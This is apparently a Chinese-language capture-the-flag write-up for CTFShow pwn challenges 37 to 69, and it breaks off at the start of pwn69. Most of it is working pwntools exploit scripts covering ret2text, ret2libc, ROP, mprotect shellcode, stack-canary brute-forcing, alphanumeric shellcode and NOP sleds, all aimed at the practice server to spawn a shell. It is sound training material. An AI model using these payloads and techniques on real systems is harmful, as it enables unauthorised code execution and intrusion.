CTFShow_pwn_pwn37-pwnXX_wp

Last Commit Date: 2025/05/27 入门难研究难学的还难找工作还难更重要的是题目还难 ^_^?

pwn37

ret2text 32bit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28257)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x16

backdoor_addr = 0x8048521
payload = b'a' * padding + p32(backdoor_addr)
io.recvuntil("32bit\n")
io.sendline(payload)
io.interactive()

pwn38

ret2text 64bit
需要考虑堆栈平衡

1
2
3
padding = 0x12
backdoor_addr = 0x400657
payload = b'a' * padding + p64(backdoor_addr+1)

pwn39

32位的 system(); “/bin/sh”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28106)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x16

system_addr = 0x804854F
bin_sh_addr = 0x8048750
payload = b'a' * padding + p32(system_addr) + p32(bin_sh_addr)
io.recvuntil("32bit\n")
io.sendline(payload)
io.interactive()

pwn40

64位的 system(); “/bin/sh”

1
2
3
4
5
6
padding = 0x12
system_addr = 0x40066E
bin_sh_addr = 0x400808
pop_rdi_ret_addr = 0x4007e3
payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
io.recvuntil("64bit\n")

pwn41

32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28140)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x16

system_addr = 0x804856E
sh_addr = 0x80487BA
payload = b'a' * padding + p32(system_addr) + p32(sh_addr)
io.recvuntil("    * *************************************                           \n")
io.sendline(payload)
io.interactive()

pwn42

64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

1
2
3
4
5
padding = 0x12
system_addr = 0x4006B2
sh_addr = 0x400872
pop_rdi_ret_addr = 0x400843
payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(sh_addr) + p64(system_addr)

pwn43

32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

向 bss 段写入 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28185)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x6C + 0x4
system_addr = 0x8048450
buf2_addr = 0x804B060 # 在bss段中可写入的地方
gets_addr = 0x8048420

payload = b'a' * padding + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
io.recv()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

pwn44

64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28231)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x12
system_addr = 0x400520
buf2_addr = 0x602080
gets_addr = 0x400530
pop_rdi_ret_addr = 0x4007f3

payload = b'a' * padding
payload += p64(pop_rdi_ret_addr) + p64(buf2_addr) + p64(gets_addr)
payload += p64(pop_rdi_ret_addr) + p64(buf2_addr) + p64(system_addr)
io.recv()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

pwn45

32位无 system 无 “/bin/sh”
ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28254)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

padding = 0x6f
puts_plt = elf.symbols["puts"]
puts_got = elf.got["puts"]
main_addr = 0x804866D

payload = b'a' * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got) + p32(main_addr)
io.recvuntil("O.o?\n")
io.sendline(payload)
puts_addr = u32(io.recv(4))
print("puts_addr:",hex(puts_addr))
# libc_base = puts_addr - libc.sym["puts"]
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print('libc_base:',hex(libc_base))
# binsh/system_addr
# system_addr = libc_base + libc.dump('write')
# binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))
payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.recvuntil("O.o?\n")
io.sendline(payload2)
io.interactive()

pwn46

64位无 system 无 “/bin/sh”
ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28312)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")

padding = 0x78
puts_plt = elf.symbols["puts"]
puts_got = elf.got["puts"]
main_addr = 0x40073E
pop_rdi_ret_addr = 0x400803

payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil("O.o?\n")
io.sendline(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("puts_addr:",hex(puts_addr))
# libc_base = puts_addr - libc.sym["puts"]
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print('libc_base:',hex(libc_base))
# binsh/system_addr
# system_addr = libc_base + libc.dump('write')
# binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))
payload2 = b'a' * padding + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
io.recvuntil("O.o?\n")
io.sendline(payload2)
io.interactive()

pwn47 ret2libc

ez ret2libc, 需要接收关键词后的地址数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28273)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")

padding = 0x9c + 4
io.recvuntil("puts: ")
puts_addr = eval(io.recvuntil("\n" , drop=True))
print("puts_addr:",hex(puts_addr))
io.recvuntil("gift: ")
bin_sh_addr = eval(io.recvuntil("\n" , drop=True))
print("bin_sh_addr:",hex(bin_sh_addr))

libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
paylad = b'a' * padding + p32(system) + p32(0) + p32(bin_sh_addr)
io.sendline(paylad)
io.interactive()

pwn48 ret2libc

ret2libc ,与 pwn45一模一样,只需要改 main 地址就可以了

1
main_addr = 0x804863D

pwn49 mprotect

静态编译?或许你可以找找mprotect函数

mprotect() 函数可以用来修改一段指定内存区域的保护属性; 把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。

64bit mprotect() 函数传参方式为 rdi rsi rdx
32bit mprotect() 函数传参方式为 ebx ecx edx
==[+]注意!在 32bit 的 mprotect利用中,因为是栈传递参数,只需要找到连续三个 pop;ret 就可以了,不需要按照顺序找;64bit 则需要找 rdi , rsi , rdx

思路:
利用 mprotect() 函数将我们目标读入shellcode处改为可执行的,然后执行shellcode。
填充地址 + mprotect函数 + mprotect的三个参数 + read函数
(最后调用 read 是因为利用read函数将shellcode写到内存空间里)

1
0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret

确定 mprotect() 中的参数 (修改 / 写入的地址)

1
2
readelf -S ./pwn  (找 .got.plt 段)
[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4

所以 mprotect() 处利用的 payload 为
填充地址 + mprotect 函数 + mprotect 的三个参数 + read 函数

1
payload = b'a' * padding + p32(mprotect_addr) + p32(pop) + p32(got_plt_addr) + p32(0x1000) + p32(0x7) + p32(read_addr)

read 处的 payload 为
read_addr + read 返回地址 + 参数1(方式) + 参数2(起始地址) + 参数3(长度)

1
2
shellcode = asm(shellcraft.sh())
payload += p32(read_addr) + p32(got_plt_addr) + p32(0x0) + p32(got_plt_addr) + p32(len(shellcode))

完整脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './pwn'
# io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28216)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

padding = 0x16
mprotect_addr = 0x806CDD0
pop = 0x8049bd9    # 3 pop ; 1 ret
read_addr = 0x806BEE0
got_plt_addr = 0x080da000

payload = b'a' * padding + p32(mprotect_addr) + p32(pop) + p32(got_plt_addr) + p32(0x1000) + p32(0x7) + p32(read_addr)
shellcode = asm(shellcraft.sh())
payload += p32(read_addr) + p32(got_plt_addr) + p32(0x0) + p32(got_plt_addr) + p32(len(shellcode))

io.recvuntil("    * *************************************                           \n")
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

pwn50

64bit 通过 libc 泄露 mprotect() 函数 , 更改 bss 段 shellcode 权限从而 get shell
0x0A ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28203)

putsplt = elf.plt['puts']
putsgot = elf.got['puts']
main_addr = elf.sym['main']
rdi_addr = 0x4007e3
ret_addr = 0x4004fe
payload1 = b'b' * 40 + p64(rdi_addr) + p64(putsgot) + p64(putsplt) + p64(main_addr)

io.sendlineafter(b'Hello CTFshow\n',payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload2 = b'a' * 40 + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()

0x0B mprotect() 做法
ROPgadget 找不到 rdx…………..

pwn51

I‘m IronMan
关键:输入 I , 会转变成 IronMan , 栈溢出这就来了
栈溢出0x6C + 0x04 字节,就是112字节, 112 / 7 = 16 ; 所以只需要输入16个 I 就可以导致 stack overflow ; 然后跳转到后门函数 cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28282)
# io = process('./pwn')

this = 0x804902E
padding = 0x6C + 4
print(padding)

paylaod =  b'I' * 16 + p32(this)
io.sendline(paylaod)
io.interactive()

pwn52

迎面走来的flag让我如此蠢蠢欲动
简单 gets 溢出后 call flag(int a1, int a2) , 32bit 栈传参传入 a1 == 0x36C && a2 == 0x36D 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28184)
# io = process('./pwn')

padding = 0x6C + 4
flag_addr = 0x8048586
main_addr = 0x804874E

paylaod =  b'a' * padding + p32(flag_addr) + p32(main_addr) + p32(0x36C) + p32(0x36D)
io.recvuntil("What do you want?\n")
io.sendline(paylaod)
io.interactive()

pwn53 Canary Crack

再多一眼看一眼就会爆炸
本地的canary 保护,爆破Canary

  • read(0, buf, nbytes); 可以输入 nbytes-1 ,达到溢出 buf
  • 函数末尾会检查 Canary 是否被修改:
1
2
3
4
5
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}

溢出后需要在 payload 中填入正确的 Canary 值 (本地文件获取的,可以通过爆破获得) ,不然会检测到栈破坏然后退出

0x0A 爆破 Canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28146)
# io = process('./pwn')

canary = b''
padding = 32

######## Crack Part
for i in range(4):  # Canary 通常为 4 字节
    for c in range(256):  # 遍历 0x00-0xFF
        try:
            io = remote('pwn.challenge.ctf.show', 28146) #重复链接!
            io.recvuntil(b">")
            io.sendline(b'-1')
            payload = b'a' * padding + canary + p8(c)
            io.recvuntil(b"$ ")
            io.send(payload)

            # 检查是否触发 "Stack Smashing Detected"
            if b'Stack Smashing Detected' not in io.recvline():
                print(f'Found byte {i}: {hex(c)}')
                canary += p8(c)
                io.close()
                break
            io.close()
        except Exception as e:
            print(f"Error: {e}")
            io.close()
            continue

print('[+] Canary: ', canary)  # 打印完整的 Canary 值
print("[+] Hex: ")
for byte in canary:
    print(hex(byte), end=' ')
   
############ Attack Part
############ 0x0B 构造payload
io = remote('pwn.challenge.ctf.show',28146)
flag = elf.sym['flag']
payload = b'a' * padding + canary + p32(0) * 4 + p32(flag)
io.recvuntil(">")
io.sendline(str(-1))
io.recvuntil('$ ')
io.send(payload)
io.interactive()

pwn54

再近一点靠近点快被融化 32bit

整体逻辑就是输入 username 到 v5[256] ,后面就读取本地文件 ./password.txts1 (fgets(s1, 64, stdin);)
栈空间可以看出 v5 和 s1 是连接的

1
2
3
4
5
6
7
8
9
10
-00000160 var_160         db ?
...
-00000066 db ? ; undefined
-00000065 db ? ; undefined
-00000064 db ? ; undefined
-00000063 db ? ; undefined
-00000062 db ? ; undefined
-00000061 db ? ; undefined
-00000060 s db ?
-0000005F

所以可以占满整个 v5,使得 puts(v5); 溢出到 password 的栈空间,输出 password

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28286)
# io = process('./pwn')

padding = 256
paylaod =  b'a' * padding
io.recvuntil("Input your Username:\n")
io.send(paylaod)
print(io.recv(64))
io.interactive()
1
2
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3

重新构造 payload,get flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28286)
# io = process('./pwn')

padding = 256
password = b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3'
paylaod =  b'a' * padding
io.recvuntil("Input your Username:\n")
io.sendline(b'aaaa')
io.recvuntil("Input your Password.\n")
io.sendline(password)
io.interactive()

pwn55

你是我的谁,我的我是你的谁
和 blog 中写的一道 buuctf 里的题一模一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28297)
# io = process('./pwn')

padding = 0x30
func1_addr = 0x8048586
func2_addr = 0x804859D
flag_func_addr = 0x8048606

payload = b'a' * padding + p32(func1_addr) + p32(func2_addr) + p32(flag_func_addr) + p32(0xACACACAC)
payload += p32(0xBDBDBDBD)

io.recvuntil("Input your flag: ")
io.sendline(payload)
io.interactive()

pwn56

先了解一下简单的32位shellcode吧

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28163)
# io = process('./pwn')

payload = b'/bin/sh'
io.sendline(payload)
io.interactive()

pwn57

先了解一下简单的64位shellcode吧

1
2
3
4
5
6
7
8
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28195)
# io = process('./pwn')

io.interactive()

pwn58

32位无限制

无法进行反汇编,看到关键代码

1
2
3
4
.text:080486D2                 call    ctfshow
.text:080486D7 add esp, 10h
.text:080486DA lea eax, [ebp+s]
.text:080486E0 call eax

ctfshow 函数为 gets 无限制,输入的函数会保存到 ebp+s 的地方,然后被调用,直接写入 shellcode 即可

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28254)
# io = process('./pwn')

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn59

64位无限制
和32bit 同理 , 需要申明架构是 amd64

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28246)
# io = process('./pwn')

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn60

入门难度shellcode, 32bit
用 ubuntu18 vmmap 发现 buf2 有 rwx 权限 (我用 ubuntu24只有 rw ,无执行权限)

思路:
将 buf2填满 shellcode,然后覆盖返回地址到 buf2处

测多少字节填满到返回地址

1
2
3
pwndbg> cyclic 170
pwndbg> run
pwndbg> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra

看到 BACKTRACE 中第一个为

1
► 0 0x62616164 None
1
2
3
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

得到112位
shellcode (len == 122) + buf_ret_addr
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28191)
# io = process('./pwn')

shellcode = asm(shellcraft.sh())
buf2_addr = 0x804A080
io.recvuntil("CTFshow-pwn can u pwn me here!!\n")
payload = shellcode.ljust(112,b'a') + p32(buf2_addr)
io.sendline(payload)
io.interactive()

pwn61

输出了什么?

1
2
3
Welcome to CTFshow!
What's this : [0x7ffcde411b80] ?
Maybe it's useful ! But how to use it?

输出了 v5的地址,看到 main的反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00000000000007FD ; __unwind {
.text:00000000000007FD push rbp
.text:00000000000007FE mov rbp, rsp
.text:0000000000000801 sub rsp, 10h
.text:0000000000000805 mov [rbp+var_10], 0
.text:000000000000080D mov [rbp+var_8], 0
.text:0000000000000815 mov rax, cs:__bss_start
.text:000000000000081C mov ecx, 0 ; n
.text:0000000000000821 mov edx, 1 ; modes
.text:0000000000000826 mov esi, 0 ; buf
.text:000000000000082B mov rdi, rax ; stream
.text:000000000000082E call _setvbuf
.text:0000000000000833 mov eax, 0
.text:0000000000000838 call logo
.text:000000000000083D lea rdi, aWelcomeToCtfsh ; "Welcome to CTFshow!"
.text:0000000000000844 call _puts
.text:0000000000000849 lea rax, [rbp+var_10]
.text:000000000000084D mov rsi, rax
.text:0000000000000850 lea rdi, format ; "What's this : [%p] ?\n"
.text:0000000000000857 mov eax, 0
.text:000000000000085C call _printf
.text:0000000000000861 lea rdi, aMaybeItSUseful ; "Maybe it's useful ! But how to use it?"
.text:0000000000000868 call _puts
.text:000000000000086D lea rax, [rbp+var_10]
.text:0000000000000871 mov rdi, rax
.text:0000000000000874 mov eax, 0
.text:0000000000000879 call _gets
.text:000000000000087E mov eax, 0
.text:0000000000000883 leave
.text:0000000000000884 retn

如果把 shellcode 写入 v5 , 那就会一直覆盖到 leave , 然后导致执行错误
所以我么要把 shellcode 写在 v5 + padding + 0x08 字节处, 才可以正常写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28215)
# io = process('./pwn')

shellcode = asm(shellcraft.sh())
io.recvuntil("What's this : [")
v5_addr = eval(io.recvuntil(b"]",drop=True))
padding = 0x18
print("v5_addr: ",hex(v5_addr))

payload = b'a' * padding + p64(v5_addr + padding + 8) + shellcode
# 先溢出gets, 返回地址填写shellcode的地址 , 然后写入shellcode
# +8 为了跳过leave;ret
io.sendline(payload)
io.interactive()

pwn62 ret2shellcode

短了一点
和 pwn61差不多,只是对 shellcode 的长度做了一些限制,因为只在 buf 中读取了0x38字节,实际可以用的只有 0x38 - 0x18 - 8
换一个更短的 shellcode 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28246)
# io = process('./pwn')

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
io.recvuntil("What's this : [")
v5_addr = eval(io.recvuntil(b"]",drop=True))
padding = 0x18
print("v5_addr: ",hex(v5_addr))

payload = b'a' * padding + p64(v5_addr + padding + 8) + shellcode
# 先溢出gets, 返回地址填写shellcode的地址 , 然后写入shellcode
# +8 为了跳过leave;ret
io.sendline(payload)
io.interactive()

pwn63

又短了一点
和 pwn62 没什么区别,payload 一样可以用,直接打就行(解题脚本一样)

pwn64

有时候开启某种保护并不代表这条路不通
32bit , 开启了堆栈不可执行,查看伪代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}

mmap(0, 0x400u, 7, 34, 0, 0); 命令对 buf 中 0x400字节区域执行了可读可写可执行命令
((void (*)(void))buf)(); 猜测为调用了 buf
所以直接写入 shellcode 即可

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28108)
# io = process('./pwn')

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn65 shellcode bypass

你是一个好人
64bit , 不能反汇编,看一遍大体过程就是限制了 shellcode 输入的字符必须是可见字符
参考: https://www.freebuf.com/articles/system/232280.html

1
2
3
4
5
6
7
8
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28254)

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

注意要用 io.send()
为什么不用 io.sendline() ? - 因为 sendline 发送的换行符不在可见字符内, 会输出 wrong

pwn66 shellcode+while bypass

简单的shellcode?不对劲,十分得有十二分的不对劲
64bit , 写入 shellcode 的时候做了限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall check(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]

while ( *a1 )
{
for ( i = &unk_400F20; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}

shellcode 必须在 unk_400F20 这个里面, 直接用以 \x00 开头的汇编代码绕过就好了
该脚本可以暴力枚举以 \x00 开头的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
    for j in product([p8(k) for k in range(256)], repeat=i):
        payload = b"\x00" + b"".join(j)
        res = disasm(payload)
        if (
            res != "        ..."
            and not re.search(r"\[\w*?\]", res)
            and ".byte" not in res
        ):
            print(res)
            input()

OutPut:

1
2
❯ python3 ./scripts/63.py
0: 00 c0 add al, al

在普通的 shellcode 前加上绕过的汇编代码即可

1
2
3
4
5
6
7
8
9
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28145)

shellcode = asm(shellcraft.sh())
payload = b'\x00\xc0' + shellcode
io.sendline(payload)
io.interactive()

pwn67 NOP SLED

32bit nop sled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

seed[1025] = (unsigned int)&argc;
seed[1024] = __readgsdword(0x14u);
setbuf(stdout, 0);
logo();
srand((unsigned int)seed);
Loading();
acquire_satellites();
v3 = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3);
printf("What will you do?\n> ");
fgets((char *)seed, 4096, stdin);
printf("Where do you start?\n> ");
__isoc99_scanf("%p", &v5);
v5();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
// *query_position
char *query_position()
{
char v1; // [esp+3h] [ebp-15h] BYREF
int v2; // [esp+4h] [ebp-14h]
char *v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v2 = rand() % 1337 - 668;
v3 = &v1 + v2;
return &v1 + v2;
}

position 是 v1的内存地址加上 v2的值的地址
输入 v5,然后再调用 v5
因为开启了 Canary 但是没有 NX,所以可以将 shellcode 写入 seed
但是 Canary 怎么绕过?
0x01 : 泄露 canary 地址
0x02: nop sled (\x90) (个人理解:正常填充栈空间,只保留我们要用的 payload,因为 nop 就是不执行)

既然题目都说了要用 nop sled 来做我们就用这个做
上面说了,position 是 v1的内存地址加上 v2的值的地址 , v1是一个定值,v2 = rand() % 1337 - 668; ,
所以 v2就被固定在了 random-668(random∈(0,1336)) 这个区间内。

我们只需要填满这个区间就好了

1
payload = 1336 * nop + shellcode

因为 v5的地址有可能取到负数,我们直接 position + 668 再加上稍微大一点的数 0x40

1
start_addr = leak_addr + 668 + 0x30

构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28106)

io.recvuntil("The current location: ")
leak_addr = eval(io.recvuntil("\n", drop=True))
print("[+] leak_addr:",hex(leak_addr))

shellcode = asm(shellcraft.sh())
payload = b'\x90' * 1336 + shellcode
io.recvuntil("> ")
io.sendline(payload)
io.recvuntil("> ")
start_addr = leak_addr + 668 + 0x30
io.sendline(hex(start_addr))
io.interactive()

pwn68

64bit nop sled
和 pwn67一样,只是变成64bit 了,直接按照原脚本打就行
!!!!!!!!!!!!!!!!!!! 注意修改 arch = 'amd64' , 不然 asm(shellcraft.sh()) 打出来的是不对的

pwn69 ORW

可以尝试用ORW读flag flag文件位置为/ctfshow_flag
ORW 的意思是 CTF pwn 中常见的一种类型的题目,将 flag 打开(Open) , 读取 (Read) flag,然后写(Write) 到 console 上

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
